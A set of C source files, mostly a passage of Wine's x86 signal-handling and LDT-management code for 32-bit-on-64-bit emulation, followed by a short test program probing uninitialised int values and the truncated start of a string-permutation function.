case 1: /* BREAKPOINT_PRINT */
case 3: /* BREAKPOINT_LOAD_SYMBOLS */
case 4: /* BREAKPOINT_UNLOAD_SYMBOLS */
case 5: /* BREAKPOINT_COMMAND_STRING (>= Win2003) */
RIP_sig(sigcontext) += 3;
return TRUE;
}
}
context->Eip += 3;
rec->ExceptionCode = EXCEPTION_BREAKPOINT;
rec->ExceptionAddress = (void *)context->Eip;
rec->NumberParameters = is_wow64 ? 1 : 3;
rec->ExceptionInformation[0] = context->Eax;
rec->ExceptionInformation[1] = context->Ecx;
rec->ExceptionInformation[2] = context->Edx;
setup_raise_exception( sigcontext, stack, rec, xcontext );
return TRUE;
default:
return FALSE;
}
}
/***********************************************************************
* handle_syscall_fault
*
* Handle a page fault happening during a system call.
*/
static BOOL handle_syscall_fault( ucontext_t *sigcontext, void *stack_ptr,
EXCEPTION_RECORD *rec, CONTEXT *context )
{
struct syscall_frame *frame = x86_thread_data()->syscall_frame;
__WINE_FRAME *wine_frame = (__WINE_FRAME *)NtCurrentTeb()->Tib.ExceptionList;
DWORD i;
if (!frame) return FALSE;
TRACE( "code=%x flags=%x addr=%p ip=%08x tid=%04x\n",
rec->ExceptionCode, rec->ExceptionFlags, rec->ExceptionAddress,
context->Eip, GetCurrentThreadId() );
for (i = 0; i < rec->NumberParameters; i++)
TRACE( " info[%d]=%08lx\n", i, rec->ExceptionInformation[i] );
TRACE(" eax=%08x ebx=%08x ecx=%08x edx=%08x esi=%08x edi=%08x\n",
context->Eax, context->Ebx, context->Ecx,
context->Edx, context->Esi, context->Edi );
TRACE(" ebp=%08x esp=%08x cs=%04x ds=%04x es=%04x fs=%04x gs=%04x flags=%08x\n",
context->Ebp, context->Esp, context->SegCs, context->SegDs,
context->SegEs, context->SegFs, context->SegGs, context->EFlags );
if ((char *)wine_frame < (char *)frame)
{
/* stack frame for calling __wine_longjmp */
struct
{
int retval;
__wine_jmp_buf *jmp;
void *retaddr;
} *stack;
TRACE( "returning to handler\n" );
stack = virtual_setup_exception( stack_ptr, sizeof(*stack), rec );
stack->retval = 1;
stack->jmp = &wine_frame->jmp;
stack->retaddr = (void *)0xdeadbabe;
RSP_sig(sigcontext) = (DWORD)stack;
RIP_sig(sigcontext) = (DWORD)__wine_longjmp;
}
else
{
TRACE( "returning to user mode ip=%08x ret=%08x\n", frame->eip, rec->ExceptionCode );
RAX_sig(sigcontext) = rec->ExceptionCode;
RBX_sig(sigcontext) = frame->ebx;
RSI_sig(sigcontext) = frame->esi;
RDI_sig(sigcontext) = frame->edi;
RBP_sig(sigcontext) = frame->ebp;
RSP_sig(sigcontext) = frame->esp;
RIP_sig(sigcontext) = frame->eip;
CS_sig(sigcontext) = frame->cs;
DS_sig(sigcontext) = frame->ds;
x86_thread_data()->syscall_frame = NULL;
}
return TRUE;
}
/**********************************************************************
* segv_handler
*
* Handler for SIGSEGV and related errors.
*/
static void segv_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
EXCEPTION_RECORD rec = { 0 };
struct xcontext xcontext;
ucontext_t *ucontext = sigcontext;
void *stack = setup_exception_record( sigcontext, &rec, &xcontext );
switch (TRAP_sig(ucontext))
{
case TRAP_x86_OFLOW: /* Overflow exception */
rec.ExceptionCode = EXCEPTION_INT_OVERFLOW;
break;
case TRAP_x86_BOUND: /* Bound range exception */
rec.ExceptionCode = EXCEPTION_ARRAY_BOUNDS_EXCEEDED;
break;
case TRAP_x86_PRIVINFLT: /* Invalid opcode exception */
rec.ExceptionCode = EXCEPTION_ILLEGAL_INSTRUCTION;
break;
case TRAP_x86_STKFLT: /* Stack fault */
rec.ExceptionCode = EXCEPTION_STACK_OVERFLOW;
break;
case TRAP_x86_SEGNPFLT: /* Segment not present exception */
case TRAP_x86_PROTFLT: /* General protection fault */
{
WORD err = ERROR_sig(ucontext);
if (!err && (rec.ExceptionCode = is_privileged_instr( &xcontext.c ))) break;
if ((err & 7) == 2 && handle_interrupt( err >> 3, ucontext, stack, &rec, &xcontext )) return;
rec.ExceptionCode = EXCEPTION_ACCESS_VIOLATION;
rec.NumberParameters = 2;
rec.ExceptionInformation[0] = 0;
/* if error contains a LDT selector, use that as fault address */
if ((err & 7) == 4 && !ldt_is_system( err | 7 )) rec.ExceptionInformation[1] = err & ~7;
else
{
rec.ExceptionInformation[1] = 0xffffffff;
if (check_invalid_gs( ucontext, &xcontext.c )) return;
}
}
break;
case TRAP_x86_PAGEFLT: /* Page fault */
rec.NumberParameters = 2;
rec.ExceptionInformation[0] = (ERROR_sig(ucontext) >> 1) & 0x09;
rec.ExceptionInformation[1] = TRUNCCAST( ULONG_PTR, siginfo->si_addr );
rec.ExceptionCode = virtual_handle_fault( siginfo->si_addr, rec.ExceptionInformation[0], stack );
if (!rec.ExceptionCode) return;
if (rec.ExceptionCode == EXCEPTION_ACCESS_VIOLATION &&
rec.ExceptionInformation[0] == EXCEPTION_EXECUTE_FAULT)
{
ULONG flags;
NtQueryInformationProcess( GetCurrentProcess(), ProcessExecuteFlags,
&flags, sizeof(flags), NULL );
if (!(flags & MEM_EXECUTE_OPTION_DISABLE_THUNK_EMULATION) &&
check_atl_thunk( ucontext, &rec, &xcontext.c ))
return;
/* send EXCEPTION_EXECUTE_FAULT only if data execution prevention is enabled */
if (!(flags & MEM_EXECUTE_OPTION_DISABLE)) rec.ExceptionInformation[0] = EXCEPTION_READ_FAULT;
}
break;
case TRAP_x86_ALIGNFLT: /* Alignment check exception */
/* FIXME: pass through exception handler first? */
if (xcontext.c.EFlags & 0x00040000)
{
EFL_sig(ucontext) &= ~0x00040000; /* disable AC flag */
return;
}
rec.ExceptionCode = EXCEPTION_DATATYPE_MISALIGNMENT;
break;
default:
WINE_ERR( "Got unexpected trap %d\n", TRAP_sig(ucontext) );
/* fall through */
case TRAP_x86_NMI: /* NMI interrupt */
case TRAP_x86_DNA: /* Device not available exception */
case TRAP_x86_DOUBLEFLT: /* Double fault exception */
case TRAP_x86_TSSFLT: /* Invalid TSS exception */
case TRAP_x86_MCHK: /* Machine check exception */
case TRAP_x86_CACHEFLT: /* Cache flush exception */
rec.ExceptionCode = EXCEPTION_ILLEGAL_INSTRUCTION;
break;
}
if (handle_syscall_fault( ucontext, stack, &rec, &xcontext.c )) return;
setup_raise_exception( ucontext, stack, &rec, &xcontext );
}
/**********************************************************************
* trap_handler
*
* Handler for SIGTRAP.
*/
static void trap_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
EXCEPTION_RECORD rec = { 0 };
struct xcontext xcontext;
ucontext_t *ucontext = sigcontext;
void *stack = setup_exception_record( sigcontext, &rec, &xcontext );
switch (TRAP_sig(ucontext))
{
case TRAP_x86_TRCTRAP: /* Single-step exception */
rec.ExceptionCode = EXCEPTION_SINGLE_STEP;
/* when single stepping can't tell whether this is a hw bp or a
* single step interrupt. try to avoid as much overhead as possible
* and only do a server call if there is any hw bp enabled. */
if (!(xcontext.c.EFlags & 0x100) || (xcontext.c.Dr7 & 0xff))
{
/* (possible) hardware breakpoint, fetch the debug registers */
DWORD saved_flags = xcontext.c.ContextFlags;
xcontext.c.ContextFlags = CONTEXT_DEBUG_REGISTERS;
NtGetContextThread( GetCurrentThread(), &xcontext.c );
xcontext.c.ContextFlags |= saved_flags; /* restore flags */
}
xcontext.c.EFlags &= ~0x100; /* clear single-step flag */
break;
case TRAP_x86_BPTFLT: /* Breakpoint exception */
rec.ExceptionAddress = (char *)rec.ExceptionAddress - 1; /* back up over the int3 instruction */
/* fall through */
default:
rec.ExceptionCode = EXCEPTION_BREAKPOINT;
rec.NumberParameters = is_wow64 ? 1 : 3;
rec.ExceptionInformation[0] = 0;
rec.ExceptionInformation[1] = 0; /* FIXME */
rec.ExceptionInformation[2] = 0; /* FIXME */
break;
}
setup_raise_exception( sigcontext, stack, &rec, &xcontext );
}
/**********************************************************************
* fpe_handler
*
* Handler for SIGFPE.
*/
static void fpe_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
EXCEPTION_RECORD rec = { 0 };
struct xcontext xcontext;
ucontext_t *ucontext = sigcontext;
void *stack = setup_exception_record( sigcontext, &rec, &xcontext );
switch (TRAP_sig(ucontext))
{
case TRAP_x86_DIVIDE: /* Division by zero exception */
rec.ExceptionCode = EXCEPTION_INT_DIVIDE_BY_ZERO;
break;
case TRAP_x86_FPOPFLT: /* Coprocessor segment overrun */
rec.ExceptionCode = EXCEPTION_FLT_INVALID_OPERATION;
break;
case TRAP_x86_ARITHTRAP: /* Floating point exception */
rec.ExceptionCode = get_fpu_code( &xcontext.c );
rec.ExceptionAddress = (void *)xcontext.c.FloatSave.ErrorOffset;
break;
case TRAP_x86_CACHEFLT: /* SIMD exception */
/* TODO:
* Behaviour only tested for divide-by-zero exceptions
* Check for other SIMD exceptions as well */
if(siginfo->si_code != FPE_FLTDIV && siginfo->si_code != FPE_FLTINV)
FIXME("untested SIMD exception: %#x. Might not work correctly\n",
siginfo->si_code);
rec.ExceptionCode = STATUS_FLOAT_MULTIPLE_TRAPS;
rec.NumberParameters = 1;
/* no idea what meaning is actually behind this but that's what native does */
rec.ExceptionInformation[0] = 0;
break;
default:
WINE_ERR( "Got unexpected trap %d\n", TRAP_sig(ucontext) );
rec.ExceptionCode = EXCEPTION_FLT_INVALID_OPERATION;
break;
}
setup_raise_exception( sigcontext, stack, &rec, &xcontext );
}
/**********************************************************************
* int_handler
*
* Handler for SIGINT.
*/
static void int_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
EXCEPTION_RECORD rec = { CONTROL_C_EXIT };
setup_exception( sigcontext, &rec );
}
/**********************************************************************
* abrt_handler
*
* Handler for SIGABRT.
*/
static void abrt_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
EXCEPTION_RECORD rec = { EXCEPTION_WINE_ASSERTION, EH_NONCONTINUABLE };
setup_exception( sigcontext, &rec );
}
/**********************************************************************
* quit_handler
*
* Handler for SIGQUIT.
*/
static void quit_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
init_handler( sigcontext );
abort_thread(0);
}
/**********************************************************************
* usr1_handler
*
* Handler for SIGUSR1, used to signal a thread that it got suspended.
*/
static void usr1_handler( int signal, siginfo_t * HOSTPTR siginfo, void * HOSTPTR sigcontext )
{
struct xcontext xcontext;
init_handler( sigcontext );
if (x86_thread_data()->syscall_frame)
{
DECLSPEC_ALIGN(64) XSTATE xs;
xcontext.c.ContextFlags = CONTEXT_FULL;
context_init_xstate( &xcontext.c, &xs );
NtGetContextThread( GetCurrentThread(), &xcontext.c );
wait_suspend( &xcontext.c );
NtSetContextThread( GetCurrentThread(), &xcontext.c );
}
else
{
save_context( &xcontext, sigcontext );
wait_suspend( &xcontext.c );
restore_context( &xcontext, sigcontext );
}
}
/***********************************************************************
* LDT support
*/
#define LDT_SIZE 8192
#define LDT_FLAGS_DATA 0x13 /* Data segment */
#define LDT_FLAGS_CODE 0x1b /* Code segment */
#define LDT_FLAGS_32BIT 0x40 /* Segment is 32-bit (code or stack) */
#define LDT_FLAGS_ALLOCATED 0x80 /* Segment is allocated */
struct ldt_copy
{
void *base[LDT_SIZE];
unsigned int limit[LDT_SIZE];
unsigned char flags[LDT_SIZE];
} __wine_ldt_copy;
static WORD gdt_fs_sel;
static pthread_mutex_t ldt_mutex = PTHREAD_MUTEX_INITIALIZER;
static const LDT_ENTRY null_entry;
static inline void *ldt_get_base( LDT_ENTRY ent )
{
return (void *)(ent.BaseLow |
(ULONG_PTR)ent.HighWord.Bits.BaseMid << 16 |
(ULONG_PTR)ent.HighWord.Bits.BaseHi << 24);
}
static inline unsigned int ldt_get_limit( LDT_ENTRY ent )
{
unsigned int limit = ent.LimitLow | (ent.HighWord.Bits.LimitHi << 16);
if (ent.HighWord.Bits.Granularity) limit = (limit << 12) | 0xfff;
return limit;
}
static LDT_ENTRY ldt_make_entry( void *base, unsigned int limit, unsigned char flags )
{
LDT_ENTRY entry;
entry.BaseLow = (WORD)(ULONG_PTR)base;
entry.HighWord.Bits.BaseMid = (BYTE)((ULONG_PTR)base >> 16);
entry.HighWord.Bits.BaseHi = (BYTE)((ULONG_PTR)base >> 24);
if ((entry.HighWord.Bits.Granularity = (limit >= 0x100000))) limit >>= 12;
entry.LimitLow = (WORD)limit;
entry.HighWord.Bits.LimitHi = limit >> 16;
entry.HighWord.Bits.Dpl = 3;
entry.HighWord.Bits.Pres = 1;
entry.HighWord.Bits.Type = flags;
entry.HighWord.Bits.Sys = 0;
entry.HighWord.Bits.Reserved_0 = 0;
entry.HighWord.Bits.Default_Big = (flags & LDT_FLAGS_32BIT) != 0;
return entry;
}
static void ldt_set_entry( WORD sel, LDT_ENTRY entry )
{
int index = sel >> 3;
#ifdef linux
struct modify_ldt_s ldt_info = { index };
ldt_info.base_addr = ldt_get_base( entry );
ldt_info.limit = entry.LimitLow | (entry.HighWord.Bits.LimitHi << 16);
ldt_info.seg_32bit = entry.HighWord.Bits.Default_Big;
ldt_info.contents = (entry.HighWord.Bits.Type >> 2) & 3;
ldt_info.read_exec_only = !(entry.HighWord.Bits.Type & 2);
ldt_info.limit_in_pages = entry.HighWord.Bits.Granularity;
ldt_info.seg_not_present = !entry.HighWord.Bits.Pres;
ldt_info.usable = entry.HighWord.Bits.Sys;
if (modify_ldt( 0x11, &ldt_info, sizeof(ldt_info) ) < 0) perror( "modify_ldt" );
#elif defined(__NetBSD__) || defined(__FreeBSD__) || defined(__FreeBSD_kernel__) || defined(__OpenBSD__) || defined(__DragonFly__)
/* The kernel will only let us set LDTs with user priority level */
if (entry.HighWord.Bits.Pres && entry.HighWord.Bits.Dpl != 3) entry.HighWord.Bits.Dpl = 3;
if (i386_set_ldt(index, (union descriptor *)&entry, 1) < 0)
{
perror("i386_set_ldt");
fprintf( stderr, "Did you reconfigure the kernel with \"options USER_LDT\"?\n" );
exit(1);
}
#elif defined(__svr4__) || defined(_SCO_DS)
struct ssd ldt_mod;
ldt_mod.sel = sel;
ldt_mod.bo = (unsigned long)ldt_get_base( entry );
ldt_mod.ls = entry.LimitLow | (entry.HighWord.Bits.LimitHi << 16);
ldt_mod.acc1 = entry.HighWord.Bytes.Flags1;
ldt_mod.acc2 = entry.HighWord.Bytes.Flags2 >> 4;
if (sysi86(SI86DSCR, &ldt_mod) == -1) perror("sysi86");
#elif defined(__APPLE__)
if (i386_set_ldt(index, (union ldt_entry *)&entry, 1) < 0) perror("i386_set_ldt");
#elif defined(__GNU__)
if (i386_set_ldt(mach_thread_self(), sel, (descriptor_list_t)&entry, 1) != KERN_SUCCESS)
perror("i386_set_ldt");
#else
fprintf( stderr, "No LDT support on this platform\n" );
exit(1);
#endif
__wine_ldt_copy.base[index] = ldt_get_base( entry );
__wine_ldt_copy.limit[index] = ldt_get_limit( entry );
__wine_ldt_copy.flags[index] = (entry.HighWord.Bits.Type |
(entry.HighWord.Bits.Default_Big ? LDT_FLAGS_32BIT : 0) |
LDT_FLAGS_ALLOCATED);
}
static void ldt_set_fs( WORD sel, TEB *teb )
{
if (sel == gdt_fs_sel)
{
#ifdef __linux__
struct modify_ldt_s ldt_info = { sel >> 3 };
ldt_info.base_addr = teb;
ldt_info.limit = page_size - 1;
ldt_info.seg_32bit = 1;
if (set_thread_area( &ldt_info ) < 0) perror( "set_thread_area" );
#elif defined(__FreeBSD__) || defined (__FreeBSD_kernel__) || defined(__DragonFly__)
i386_set_fsbase( teb );
#endif
}
set_fs( sel );
}
/**********************************************************************
* get_thread_ldt_entry
*/
NTSTATUS get_thread_ldt_entry( HANDLE handle, void *data, ULONG len, ULONG *ret_len )
{
THREAD_DESCRIPTOR_INFORMATION *info = data;
NTSTATUS status = STATUS_SUCCESS;
if (len < sizeof(*info)) return STATUS_INFO_LENGTH_MISMATCH;
if (info->Selector >> 16) return STATUS_UNSUCCESSFUL;
if (is_gdt_sel( info->Selector ))
{
if (!(info->Selector & ~3))
info->Entry = null_entry;
else if ((info->Selector | 3) == get_cs())
info->Entry = ldt_make_entry( 0, ~0u, LDT_FLAGS_CODE | LDT_FLAGS_32BIT );
else if ((info->Selector | 3) == get_ds())
info->Entry = ldt_make_entry( 0, ~0u, LDT_FLAGS_DATA | LDT_FLAGS_32BIT );
else if ((info->Selector | 3) == get_fs())
info->Entry = ldt_make_entry( NtCurrentTeb(), 0xfff, LDT_FLAGS_DATA | LDT_FLAGS_32BIT );
else
return STATUS_UNSUCCESSFUL;
}
else
{
SERVER_START_REQ( get_selector_entry )
{
req->handle = wine_server_obj_handle( handle );
req->entry = info->Selector >> 3;
status = wine_server_call( req );
if (!status)
{
if (reply->flags)
info->Entry = ldt_make_entry( (void *)reply->base, reply->limit, reply->flags );
else
status = STATUS_UNSUCCESSFUL;
}
}
SERVER_END_REQ;
}
if (status == STATUS_SUCCESS && ret_len)
/* yes, that's a bit strange, but it's the way it is */
*ret_len = sizeof(info->Entry);
return status;
}
/******************************************************************************
* NtSetLdtEntries (NTDLL.@)
* ZwSetLdtEntries (NTDLL.@)
*/
NTSTATUS WINAPI NtSetLdtEntries( ULONG sel1, LDT_ENTRY entry1, ULONG sel2, LDT_ENTRY entry2 )
{
sigset_t sigset;
if (sel1 >> 16 || sel2 >> 16) return STATUS_INVALID_LDT_DESCRIPTOR;
if (sel1 && (sel1 >> 3) < first_ldt_entry) return STATUS_INVALID_LDT_DESCRIPTOR;
if (sel2 && (sel2 >> 3) < first_ldt_entry) return STATUS_INVALID_LDT_DESCRIPTOR;
server_enter_uninterrupted_section( &ldt_mutex, &sigset );
if (sel1) ldt_set_entry( sel1, entry1 );
if (sel2) ldt_set_entry( sel2, entry2 );
server_leave_uninterrupted_section( &ldt_mutex, &sigset );
return STATUS_SUCCESS;
}
/**********************************************************************
* signal_init_threading
*/
void signal_init_threading(void)
{
#ifdef __linux__
/* the preloader may have allocated it already */
gdt_fs_sel = get_fs();
if (!gdt_fs_sel || !is_gdt_sel( gdt_fs_sel ))
{
struct modify_ldt_s ldt_info = { -1 };
ldt_info.seg_32bit = 1;
ldt_info.usable = 1;
if (set_thread_area( &ldt_info ) >= 0) gdt_fs_sel = (ldt_info.entry_number << 3) | 3;
else gdt_fs_sel = 0;
}
#elif defined(__FreeBSD__) || defined (__FreeBSD_kernel__)
gdt_fs_sel = GSEL( GUFS_SEL, SEL_UPL );
#endif
}
/**********************************************************************
* signal_alloc_thread
*/
NTSTATUS signal_alloc_thread( TEB *teb )
{
struct x86_thread_data *thread_data = (struct x86_thread_data *)&teb->GdiTebBatch;
if (!gdt_fs_sel)
{
static int first_thread = 1;
sigset_t sigset;
int idx;
LDT_ENTRY entry = ldt_make_entry( teb, page_size - 1, LDT_FLAGS_DATA | LDT_FLAGS_32BIT );
if (first_thread) /* no locking for first thread */
{
/* leave some space if libc is using the LDT for %gs */
if (!is_gdt_sel( get_gs() )) first_ldt_entry = 512;
idx = first_ldt_entry;
ldt_set_entry( (idx << 3) | 7, entry );
first_thread = 0;
}
else
{
server_enter_uninterrupted_section( &ldt_mutex, &sigset );
for (idx = first_ldt_entry; idx < LDT_SIZE; idx++)
{
if (__wine_ldt_copy.flags[idx]) continue;
ldt_set_entry( (idx << 3) | 7, entry );
break;
}
server_leave_uninterrupted_section( &ldt_mutex, &sigset );
if (idx == LDT_SIZE) return STATUS_TOO_MANY_THREADS;
}
thread_data->fs = (idx << 3) | 7;
}
else thread_data->fs = gdt_fs_sel;
teb->WOW32Reserved = syscall_dispatcher;
return STATUS_SUCCESS;
}
/**********************************************************************
* signal_free_thread
*/
void signal_free_thread( TEB *teb )
{
struct x86_thread_data *thread_data = (struct x86_thread_data *)&teb->GdiTebBatch;
sigset_t sigset;
if (gdt_fs_sel) return;
server_enter_uninterrupted_section( &ldt_mutex, &sigset );
__wine_ldt_copy.flags[thread_data->fs >> 3] = 0;
server_leave_uninterrupted_section( &ldt_mutex, &sigset );
}
/**********************************************************************
* signal_free_thread
*/
void signal_init_32on64_ldt(void)
{
LDT_ENTRY cs32_entry, ds32_entry;
int idx;
wine_32on64_cs64 = get_cs();
cs32_entry = ldt_make_entry( NULL, -1, LDT_FLAGS_CODE | LDT_FLAGS_32BIT );
ds32_entry = ldt_make_entry( NULL, -1, LDT_FLAGS_DATA | LDT_FLAGS_32BIT );
for (idx = first_ldt_entry; idx < LDT_SIZE; idx++)
{
if (__wine_ldt_copy.flags[idx]) continue;
wine_32on64_cs32 = (idx << 3) | 7;
ldt_set_entry( wine_32on64_cs32, cs32_entry );
break;
}
for (idx = first_ldt_entry; idx < LDT_SIZE; idx++)
{
if (__wine_ldt_copy.flags[idx]) continue;
wine_32on64_ds32 = (idx << 3) | 7;
ldt_set_entry( wine_32on64_ds32, ds32_entry );
break;
}
}
/**********************************************************************
* signal_init_thread
*/
void signal_init_thread( TEB *teb )
{
const WORD fpu_cw = 0x27f;
struct x86_thread_data *thread_data = (struct x86_thread_data *)&teb->GdiTebBatch;
ldt_set_fs( thread_data->fs, teb );
thread_data->gs = get_gs();
__asm__ volatile ( "mov %0, %%ds\n\t"
"mov %0, %%es\n\t"
: : "r" (wine_32on64_ds32) );
__asm__ volatile ("fninit; fldcw %0" : : "m" (fpu_cw));
}
/**********************************************************************
* signal_init_process
*/
void signal_init_process(void)
{
struct sigaction sig_act;
sig_act.sa_mask = server_block_set;
sig_act.sa_flags = SA_SIGINFO | SA_RESTART | SA_ONSTACK;
#ifdef __ANDROID__
sig_act.sa_flags |= SA_RESTORER;
sig_act.sa_restorer = rt_sigreturn;
#endif
sig_act.sa_sigaction = int_handler;
if (sigaction( SIGINT, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = fpe_handler;
if (sigaction( SIGFPE, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = abrt_handler;
if (sigaction( SIGABRT, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = quit_handler;
if (sigaction( SIGQUIT, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = usr1_handler;
if (sigaction( SIGUSR1, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = trap_handler;
if (sigaction( SIGTRAP, &sig_act, NULL ) == -1) goto error;
sig_act.sa_sigaction = segv_handler;
if (sigaction( SIGSEGV, &sig_act, NULL ) == -1) goto error;
if (sigaction( SIGILL, &sig_act, NULL ) == -1) goto error;
if (sigaction( SIGBUS, &sig_act, NULL ) == -1) goto error;
return;
error:
perror("sigaction");
exit(1);
}
/**********************************************************************
* signal_init_syscalls
*/
void *signal_init_syscalls(void)
{
extern void __wine_syscall_dispatcher_fxsave(void) DECLSPEC_HIDDEN;
extern void __wine_syscall_dispatcher_xsave(void) DECLSPEC_HIDDEN;
extern void __wine_syscall_dispatcher_xsavec(void) DECLSPEC_HIDDEN;
if (xstate_compaction_enabled)
syscall_dispatcher = __wine_syscall_dispatcher_xsavec;
else if (cpu_info.FeatureSet & CPU_FEATURE_XSAVE)
syscall_dispatcher = __wine_syscall_dispatcher_xsave;
else if (cpu_info.FeatureSet & CPU_FEATURE_FXSR)
syscall_dispatcher = __wine_syscall_dispatcher_fxsave;
else
syscall_dispatcher = __wine_syscall_dispatcher;
return NtCurrentTeb()->WOW32Reserved = syscall_dispatcher;
}
/***********************************************************************
* init_thread_context
*/
static void init_thread_context( CONTEXT *context, LPTHREAD_START_ROUTINE entry, void *arg )
{
context->SegCs = wine_32on64_cs32;
context->SegDs = get_ds();
context->SegEs = get_ds();
context->SegFs = get_fs();
context->SegGs = get_gs();
context->SegSs = get_ds();
context->EFlags = 0x202;
context->Eax = (DWORD)entry;
context->Ebx = (DWORD)arg;
context->Esp = (DWORD)NtCurrentTeb()->Tib.StackBase - 16;
context->Eip = (DWORD)pRtlUserThreadStart;
context->FloatSave.ControlWord = 0x27f;
((XSAVE_FORMAT *)context->ExtendedRegisters)->ControlWord = 0x27f;
((XSAVE_FORMAT *)context->ExtendedRegisters)->MxCsr = 0x1f80;
}
/***********************************************************************
* get_initial_context
*/
PCONTEXT DECLSPEC_HIDDEN get_initial_context( LPTHREAD_START_ROUTINE entry, void *arg, BOOL suspend )
{
CONTEXT *ctx;
if (suspend)
{
CONTEXT context = { CONTEXT_ALL };
init_thread_context( &context, entry, arg );
wait_suspend( &context );
ctx = (CONTEXT *)((ULONG_PTR)context.Esp & ~15) - 1;
*ctx = context;
}
else
{
ctx = (CONTEXT *)((char *)NtCurrentTeb()->Tib.StackBase - 16) - 1;
init_thread_context( ctx, entry, arg );
}
pthread_sigmask( SIG_UNBLOCK, &server_block_set, NULL );
ctx->ContextFlags = CONTEXT_FULL | CONTEXT_FLOATING_POINT | CONTEXT_EXTENDED_REGISTERS;
return ctx;
}
/***********************************************************************
* signal_start_thread
*/
#if 0
__ASM_GLOBAL_FUNC( signal_start_thread,
"pushl %ebp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
"movl %esp,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa_register %ebp\n\t")
"pushl %ebx\n\t"
__ASM_CFI(".cfi_rel_offset %ebx,-4\n\t")
"pushl %esi\n\t"
__ASM_CFI(".cfi_rel_offset %esi,-8\n\t")
"pushl %edi\n\t"
__ASM_CFI(".cfi_rel_offset %edi,-12\n\t")
/* store exit frame */
"movl %ebp,%fs:0x1f4\n\t" /* x86_thread_data()->exit_frame */
/* switch to thread stack */
"movl %fs:4,%eax\n\t" /* NtCurrentTeb()->StackBase */
"leal -0x1004(%eax),%esp\n\t"
/* attach dlls */
"pushl 16(%ebp)\n\t" /* suspend */
"pushl 12(%ebp)\n\t" /* arg */
"pushl 8(%ebp)\n\t" /* entry */
"call " __ASM_NAME("get_initial_context") "\n\t"
"movl %eax,(%esp)\n\t" /* context */
"movl 20(%ebp),%edx\n\t" /* thunk */
"xorl %ebp,%ebp\n\t"
"pushl $0\n\t"
"jmp *%edx" )
#endif
__ASM_GLOBAL_FUNC( signal_start_thread,
"subq $56,%rsp\n\t"
__ASM_SEH(".seh_stackalloc 56\n\t")
__ASM_SEH(".seh_endprologue\n\t")
__ASM_CFI(".cfi_adjust_cfa_offset 56\n\t")
"movq %rbp,48(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %rbp,48\n\t")
"movq %rbx,40(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %rbx,40\n\t")
"movq %r12,32(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %r12,32\n\t")
"movq %r13,24(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %r13,24\n\t")
"movq %r14,16(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %r14,16\n\t")
"movq %r15,8(%rsp)\n\t"
__ASM_CFI(".cfi_rel_offset %r15,8\n\t")
/* store exit frame */
"movl %ebp,%fs:0x1f4\n\t" /* x86_thread_data()->exit_frame */
/* switch to thread stack */
"movl %fs:4,%eax\n\t" /* NtCurrentTeb()->StackBase */
"movq %rcx,%rbx\n\t" /* thunk */
"leaq -0x1000(%rax),%rsp\n\t"
/* attach dlls */
"call " __ASM_NAME("get_initial_context") "\n\t"
"movq %rax,%rdi\n\t" /* context */
"xorq %rax,%rax\n\t"
"pushq %rax\n\t"
"jmp *%rbx" )
/***********************************************************************
* signal_exit_thread
*/
#if 0
__ASM_GLOBAL_FUNC( signal_exit_thread,
"movl 8(%esp),%ecx\n\t"
/* fetch exit frame */
"movl %fs:0x1f4,%edx\n\t" /* x86_thread_data()->exit_frame */
"testl %edx,%edx\n\t"
"jnz 1f\n\t"
"jmp *%ecx\n\t"
/* switch to exit frame stack */
"1:\tmovl 4(%esp),%eax\n\t"
"movl $0,%fs:0x1f4\n\t"
"movl %edx,%ebp\n\t"
__ASM_CFI(".cfi_def_cfa %ebp,4\n\t")
__ASM_CFI(".cfi_rel_offset %ebp,0\n\t")
__ASM_CFI(".cfi_rel_offset %ebx,-4\n\t")
__ASM_CFI(".cfi_rel_offset %esi,-8\n\t")
__ASM_CFI(".cfi_rel_offset %edi,-12\n\t")
"leal -20(%ebp),%esp\n\t"
"pushl %eax\n\t"
"call *%ecx" )
#endif
__ASM_GLOBAL_FUNC( signal_exit_thread,
/* fetch exit frame */
"movl %fs:0x1f4,%edx\n\t" /* x86_thread_data()->exit_frame */
"testq %rdx,%rdx\n\t"
"jnz 1f\n\t"
"jmp *%rsi\n"
/* switch to exit frame stack */
"1:\tmovq $0,%fs:0x1f4\n\t"
"movq %rdx,%rsp\n\t"
__ASM_CFI(".cfi_adjust_cfa_offset 56\n\t")
__ASM_CFI(".cfi_rel_offset %rbp,48\n\t")
__ASM_CFI(".cfi_rel_offset %rbx,40\n\t")
__ASM_CFI(".cfi_rel_offset %r12,32\n\t")
__ASM_CFI(".cfi_rel_offset %r13,24\n\t")
__ASM_CFI(".cfi_rel_offset %r14,16\n\t")
__ASM_CFI(".cfi_rel_offset %r15,8\n\t")
"call *%rsi" )
/**********************************************************************
* NtCurrentTeb (NTDLL.@)
*/
__ASM_STDCALL_FUNC( NtCurrentTeb, 0, ".byte 0x64\n\tmovl 0x18,%eax\n\tret" )
#endif /* __i386_on_x86_64__ */
|
the_stack_data/121996.c
|
#include <stdio.h>
int main() {
// assume here that the implementation-defined
// representation of int has no trap representations
int i;
// printf("i=0x%x\n",i);
// printf("i=0x%x\n",i);
* (((unsigned char*)(&i))+1) = 0x22;
// does i now hold an unspecified value?
printf("i=0x%x\n",i);
printf("i=0x%x\n",i);
}
|
the_stack_data/9513359.c
|
#include <stdio.h>
#include <string.h>
void swap(char *x, char *y) {
char temp;
temp = *x;
*x = *y;
*y = temp;
}
void permute(char *str, int start, int end) {
int i;
